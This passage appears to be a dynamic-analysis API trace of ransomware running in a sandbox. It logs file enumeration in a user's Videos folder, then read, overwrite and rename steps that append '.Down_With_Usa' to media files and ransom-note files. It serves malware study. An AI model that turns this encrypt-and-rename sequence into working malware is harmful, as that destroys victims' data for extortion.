[0122.303] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe691ed30, ftCreationTime.dwHighDateTime=0x1d5d864, ftLastAccessTime.dwLowDateTime=0x95507ac0, ftLastAccessTime.dwHighDateTime=0x1d5e77f, ftLastWriteTime.dwLowDateTime=0x95507ac0, ftLastWriteTime.dwHighDateTime=0x1d5e77f, nFileSizeHigh=0x0, nFileSizeLow=0xabd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="95BBcNxQtIfmFlYVv1-F.avi", cAlternateFileName="95BBCN~1.AVI")) returned 1
[0122.303] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
[0122.303] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x597f43c0, ftCreationTime.dwHighDateTime=0x1d5de45, ftLastAccessTime.dwLowDateTime=0xcce85150, ftLastAccessTime.dwHighDateTime=0x1d5d961, ftLastWriteTime.dwLowDateTime=0xcce85150, ftLastWriteTime.dwHighDateTime=0x1d5d961, nFileSizeHigh=0x0, nFileSizeLow=0xff98, dwReserved0=0x0, dwReserved1=0x0, cFileName="FyTzRTAI.mp4", cAlternateFileName="")) returned 1
[0122.304] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7164af0, ftCreationTime.dwHighDateTime=0x1d5e3a6, ftLastAccessTime.dwLowDateTime=0x52da6040, ftLastAccessTime.dwHighDateTime=0x1d5e336, ftLastWriteTime.dwLowDateTime=0x52da6040, ftLastWriteTime.dwHighDateTime=0x1d5e336, nFileSizeHigh=0x0, nFileSizeLow=0x9397, dwReserved0=0x0, dwReserved1=0x0, cFileName="lBjIMkls.avi", cAlternateFileName="")) returned 1
[0122.304] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5ff7f10, ftCreationTime.dwHighDateTime=0x1d5e2ef, ftLastAccessTime.dwLowDateTime=0xecc74d50, ftLastAccessTime.dwHighDateTime=0x1d5e2da, ftLastWriteTime.dwLowDateTime=0xecc74d50, ftLastWriteTime.dwHighDateTime=0x1d5e2da, nFileSizeHigh=0x0, nFileSizeLow=0x2d5a, dwReserved0=0x0, dwReserved1=0x0, cFileName="lPeoM.mkv", cAlternateFileName="")) returned 1
[0122.304] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f961ee0, ftCreationTime.dwHighDateTime=0x1d5e7fd, ftLastAccessTime.dwLowDateTime=0x9ce971c0, ftLastAccessTime.dwHighDateTime=0x1d5e47c, ftLastWriteTime.dwLowDateTime=0x9ce971c0, ftLastWriteTime.dwHighDateTime=0x1d5e47c, nFileSizeHigh=0x0, nFileSizeLow=0x99d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="oxZkW.avi", cAlternateFileName="")) returned 1
[0122.304] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc92555e0, ftCreationTime.dwHighDateTime=0x1d5e596, ftLastAccessTime.dwLowDateTime=0xa8ceba40, ftLastAccessTime.dwHighDateTime=0x1d5e620, ftLastWriteTime.dwLowDateTime=0xa8ceba40, ftLastWriteTime.dwHighDateTime=0x1d5e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TEj-aNY_N6U3seP-6wP-", cAlternateFileName="TEJ-AN~1")) returned 1
[0122.304] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81a8d490, ftCreationTime.dwHighDateTime=0x1d5d7b7, ftLastAccessTime.dwLowDateTime=0xa5425c20, ftLastAccessTime.dwHighDateTime=0x1d5dd41, ftLastWriteTime.dwLowDateTime=0xa5425c20, ftLastWriteTime.dwHighDateTime=0x1d5dd41, nFileSizeHigh=0x0, nFileSizeLow=0x3028, dwReserved0=0x0, dwReserved1=0x0, cFileName="x0by6BnXSl7t-oMscM.flv", cAlternateFileName="X0BY6B~1.FLV")) returned 1
[0122.304] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d5f6ea0, ftCreationTime.dwHighDateTime=0x1d5e6d2, ftLastAccessTime.dwLowDateTime=0x57d8c9a0, ftLastAccessTime.dwHighDateTime=0x1d5e10c, ftLastWriteTime.dwLowDateTime=0x57d8c9a0, ftLastWriteTime.dwHighDateTime=0x1d5e10c, nFileSizeHigh=0x0, nFileSizeLow=0x149f, dwReserved0=0x0, dwReserved1=0x0, cFileName="xcDVt3HTJS.flv", cAlternateFileName="XCDVT3~1.FLV")) returned 1
[0122.304] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a67ee90, ftCreationTime.dwHighDateTime=0x1d5db15, ftLastAccessTime.dwLowDateTime=0xac5472c0, ftLastAccessTime.dwHighDateTime=0x1d5de16, ftLastWriteTime.dwLowDateTime=0xac5472c0, ftLastWriteTime.dwHighDateTime=0x1d5de16, nFileSizeHigh=0x0, nFileSizeLow=0x1205d, dwReserved0=0x0, dwReserved1=0x0, cFileName="XVaV Yi4VMDVjY2O.mp4", cAlternateFileName="XVAVYI~1.MP4")) returned 1
[0122.304] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a67ee90, ftCreationTime.dwHighDateTime=0x1d5db15, ftLastAccessTime.dwLowDateTime=0xac5472c0, ftLastAccessTime.dwHighDateTime=0x1d5de16, ftLastWriteTime.dwLowDateTime=0xac5472c0, ftLastWriteTime.dwHighDateTime=0x1d5de16, nFileSizeHigh=0x0, nFileSizeLow=0x1205d, dwReserved0=0x0, dwReserved1=0x0, cFileName="XVaV Yi4VMDVjY2O.mp4", cAlternateFileName="XVAVYI~1.MP4")) returned 0
[0122.304] FindClose (in: hFindFile=0x1ac18610 | out: hFindFile=0x1ac18610) returned 1
[0122.304] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebfd0) returned 1
[0122.304] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebf90) returned 1
[0122.304] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\!Please Read Me!.txt", nBufferLength=0x105, lpBuffer=0x2eb8b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\!Please Read Me!.txt", lpFilePart=0x0) returned 0x39
[0122.304] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebd90) returned 1
[0122.305] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\!Please Read Me!.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\!please read me!.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0122.305] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd00) returned 1
[0122.305] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2ebf28 | out: lpFileSizeHigh=0x2ebf28*=0x0) returned 0x623
[0122.305] ReadFile (in: hFile=0x3a8, lpBuffer=0x27caeb0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2ebe58, lpOverlapped=0x0 | out: lpBuffer=0x27caeb0*, lpNumberOfBytesRead=0x2ebe58*=0x623, lpOverlapped=0x0) returned 1
[0122.339] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\!Please Read Me!.txt", nBufferLength=0x105, lpBuffer=0x2eb8c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\!Please Read Me!.txt", lpFilePart=0x0) returned 0x39
[0122.339] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebda0) returned 1
[0122.339] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\!Please Read Me!.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\!please read me!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0122.341] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd10) returned 1
[0122.342] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\!Please Read Me!.txt", nBufferLength=0x105, lpBuffer=0x2eba60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\!Please Read Me!.txt", lpFilePart=0x0) returned 0x39
[0122.342] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\!Please Read Me!.txt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eba60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\!Please Read Me!.txt.Down_With_Usa", lpFilePart=0x0) returned 0x47
[0122.343] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebea0) returned 1
[0122.343] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\!Please Read Me!.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\!please read me!.txt"), fInfoLevelId=0x0, lpFileInformation=0x2ebf80 | out: lpFileInformation=0x2ebf80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24636cc0, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x24636cc0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x255fbe80, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x630)) returned 1
[0122.343] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebe60) returned 1
[0122.343] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\!Please Read Me!.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\!please read me!.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\!Please Read Me!.txt.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\!please read me!.txt.down_with_usa")) returned 1
[0122.344] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\!Please Read Me!.vbs", nBufferLength=0x105, lpBuffer=0x2eb8b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\!Please Read Me!.vbs", lpFilePart=0x0) returned 0x39
[0122.344] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebd90) returned 1
[0122.344] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\!Please Read Me!.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\!please read me!.vbs"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0122.344] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd00) returned 1
[0122.344] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2ebf28 | out: lpFileSizeHigh=0x2ebf28*=0x0) returned 0x4bd
[0122.345] ReadFile (in: hFile=0x3a8, lpBuffer=0x26b9ba0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2ebe58, lpOverlapped=0x0 | out: lpBuffer=0x26b9ba0*, lpNumberOfBytesRead=0x2ebe58*=0x4bd, lpOverlapped=0x0) returned 1
[0122.375] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\!Please Read Me!.vbs", nBufferLength=0x105, lpBuffer=0x2eb8c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\!Please Read Me!.vbs", lpFilePart=0x0) returned 0x39
[0122.375] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebda0) returned 1
[0122.375] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\!Please Read Me!.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\!please read me!.vbs"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0122.377] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd10) returned 1
[0122.378] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\!Please Read Me!.vbs", nBufferLength=0x105, lpBuffer=0x2eba60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\!Please Read Me!.vbs", lpFilePart=0x0) returned 0x39
[0122.378] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\!Please Read Me!.vbs.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eba60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\!Please Read Me!.vbs.Down_With_Usa", lpFilePart=0x0) returned 0x47
[0122.378] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebea0) returned 1
[0122.378] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\!Please Read Me!.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\!please read me!.vbs"), fInfoLevelId=0x0, lpFileInformation=0x2ebf80 | out: lpFileInformation=0x2ebf80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24636cc0, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x24636cc0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x2566e2a0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x4c0)) returned 1
[0122.379] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebe60) returned 1
[0122.379] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\!Please Read Me!.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\!please read me!.vbs"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\!Please Read Me!.vbs.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\!please read me!.vbs.down_with_usa")) returned 1
[0122.379] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\6 wkqdkPr1VCK1wq.mp4", nBufferLength=0x105, lpBuffer=0x2eb8b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\6 wkqdkPr1VCK1wq.mp4", lpFilePart=0x0) returned 0x39
[0122.380] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebd90) returned 1
[0122.380] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\6 wkqdkPr1VCK1wq.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\6 wkqdkpr1vck1wq.mp4"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0122.380] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd00) returned 1
[0122.380] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2ebf28 | out: lpFileSizeHigh=0x2ebf28*=0x0) returned 0xf570
[0122.380] ReadFile (in: hFile=0x3a8, lpBuffer=0x27a9200, nNumberOfBytesToRead=0xf570, lpNumberOfBytesRead=0x2ebe58, lpOverlapped=0x0 | out: lpBuffer=0x27a9200*, lpNumberOfBytesRead=0x2ebe58*=0xf570, lpOverlapped=0x0) returned 1
[0122.422] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\6 wkqdkPr1VCK1wq.mp4", nBufferLength=0x105, lpBuffer=0x2eb8c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\6 wkqdkPr1VCK1wq.mp4", lpFilePart=0x0) returned 0x39
[0122.422] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebda0) returned 1
[0122.422] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\6 wkqdkPr1VCK1wq.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\6 wkqdkpr1vck1wq.mp4"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0122.425] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd10) returned 1
[0122.429] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\6 wkqdkPr1VCK1wq.mp4", nBufferLength=0x105, lpBuffer=0x2eba60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\6 wkqdkPr1VCK1wq.mp4", lpFilePart=0x0) returned 0x39
[0122.429] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\6 wkqdkPr1VCK1wq.mp4.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eba60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\6 wkqdkPr1VCK1wq.mp4.Down_With_Usa", lpFilePart=0x0) returned 0x47
[0122.429] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebea0) returned 1
[0122.429] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\6 wkqdkPr1VCK1wq.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\6 wkqdkpr1vck1wq.mp4"), fInfoLevelId=0x0, lpFileInformation=0x2ebf80 | out: lpFileInformation=0x2ebf80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf09b8570, ftCreationTime.dwHighDateTime=0x1d5d8d7, ftLastAccessTime.dwLowDateTime=0xe20c6f10, ftLastAccessTime.dwHighDateTime=0x1d5df49, ftLastWriteTime.dwLowDateTime=0x256e06c0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0xf580)) returned 1
[0122.429] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebe60) returned 1
[0122.429] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\6 wkqdkPr1VCK1wq.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\6 wkqdkpr1vck1wq.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\6 wkqdkPr1VCK1wq.mp4.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\6 wkqdkpr1vck1wq.mp4.down_with_usa")) returned 1
[0122.430] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\8DMx1_e71M.flv", nBufferLength=0x105, lpBuffer=0x2eb8b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\8DMx1_e71M.flv", lpFilePart=0x0) returned 0x33
[0122.430] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebd90) returned 1
[0122.430] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\8DMx1_e71M.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\8dmx1_e71m.flv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0122.431] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd00) returned 1
[0122.431] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2ebf28 | out: lpFileSizeHigh=0x2ebf28*=0x0) returned 0x1d7b
[0122.431] ReadFile (in: hFile=0x3a8, lpBuffer=0x26e12d8, nNumberOfBytesToRead=0x1d7b, lpNumberOfBytesRead=0x2ebe58, lpOverlapped=0x0 | out: lpBuffer=0x26e12d8*, lpNumberOfBytesRead=0x2ebe58*=0x1d7b, lpOverlapped=0x0) returned 1
[0122.462] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\8DMx1_e71M.flv", nBufferLength=0x105, lpBuffer=0x2eb8c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\8DMx1_e71M.flv", lpFilePart=0x0) returned 0x33
[0122.462] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebda0) returned 1
[0122.462] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\8DMx1_e71M.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\8dmx1_e71m.flv"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0122.464] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd10) returned 1
[0122.466] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\8DMx1_e71M.flv", nBufferLength=0x105, lpBuffer=0x2eba60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\8DMx1_e71M.flv", lpFilePart=0x0) returned 0x33
[0122.466] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\8DMx1_e71M.flv.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eba60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\8DMx1_e71M.flv.Down_With_Usa", lpFilePart=0x0) returned 0x41
[0122.466] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebea0) returned 1
[0122.466] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\8DMx1_e71M.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\8dmx1_e71m.flv"), fInfoLevelId=0x0, lpFileInformation=0x2ebf80 | out: lpFileInformation=0x2ebf80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43728c0, ftCreationTime.dwHighDateTime=0x1d5e4f2, ftLastAccessTime.dwLowDateTime=0x82a57f80, ftLastAccessTime.dwHighDateTime=0x1d5e61a, ftLastWriteTime.dwLowDateTime=0x2572c980, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x1d80)) returned 1
[0122.466] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebe60) returned 1
[0122.467] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\8DMx1_e71M.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\8dmx1_e71m.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\8DMx1_e71M.flv.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\8dmx1_e71m.flv.down_with_usa")) returned 1
[0122.468] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\95BBcNxQtIfmFlYVv1-F.avi", nBufferLength=0x105, lpBuffer=0x2eb8b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\95BBcNxQtIfmFlYVv1-F.avi", lpFilePart=0x0) returned 0x3d
[0122.468] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebd90) returned 1
[0122.468] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\95BBcNxQtIfmFlYVv1-F.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\95bbcnxqtifmflyvv1-f.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0122.468] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd00) returned 1
[0122.469] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2ebf28 | out: lpFileSizeHigh=0x2ebf28*=0x0) returned 0xabd8
[0122.469] ReadFile (in: hFile=0x3a8, lpBuffer=0x27d8230, nNumberOfBytesToRead=0xabd8, lpNumberOfBytesRead=0x2ebe58, lpOverlapped=0x0 | out: lpBuffer=0x27d8230*, lpNumberOfBytesRead=0x2ebe58*=0xabd8, lpOverlapped=0x0) returned 1
[0122.507] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\95BBcNxQtIfmFlYVv1-F.avi", nBufferLength=0x105, lpBuffer=0x2eb8c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\95BBcNxQtIfmFlYVv1-F.avi", lpFilePart=0x0) returned 0x3d
[0122.507] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebda0) returned 1
[0122.507] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\95BBcNxQtIfmFlYVv1-F.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\95bbcnxqtifmflyvv1-f.avi"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0122.510] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd10) returned 1
[0122.513] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\95BBcNxQtIfmFlYVv1-F.avi", nBufferLength=0x105, lpBuffer=0x2eba60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\95BBcNxQtIfmFlYVv1-F.avi", lpFilePart=0x0) returned 0x3d
[0122.513] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\95BBcNxQtIfmFlYVv1-F.avi.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eba60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\95BBcNxQtIfmFlYVv1-F.avi.Down_With_Usa", lpFilePart=0x0) returned 0x4b
[0122.513] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebea0) returned 1
